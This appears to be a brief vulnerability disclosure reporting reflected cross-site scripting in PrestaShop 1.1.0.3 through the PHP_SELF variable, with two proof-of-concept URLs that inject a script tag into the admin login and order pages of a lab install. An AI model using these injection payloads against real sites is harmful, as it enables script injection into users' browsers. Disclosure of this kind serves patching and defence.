Affects PrestaShop 1.1.0.3 product: homepage: http://prestashop.com This is XSS in the URI of PrestaShop. Trust no one, not even your $_SERVER[PHP_SELF] . http://10.1.1.155/prestashop_1.1.0.3/admin/login.php/%22%3Cscript%3Ealert(1)%3C/script%3E Add an item to the shoping cart and then vist this url: http://10.1.1.155/Audit/Commerce/prestashop_1.1.0.3/order.php/%22%3Cscript%3Ealert(1)%3C/script%3E Peace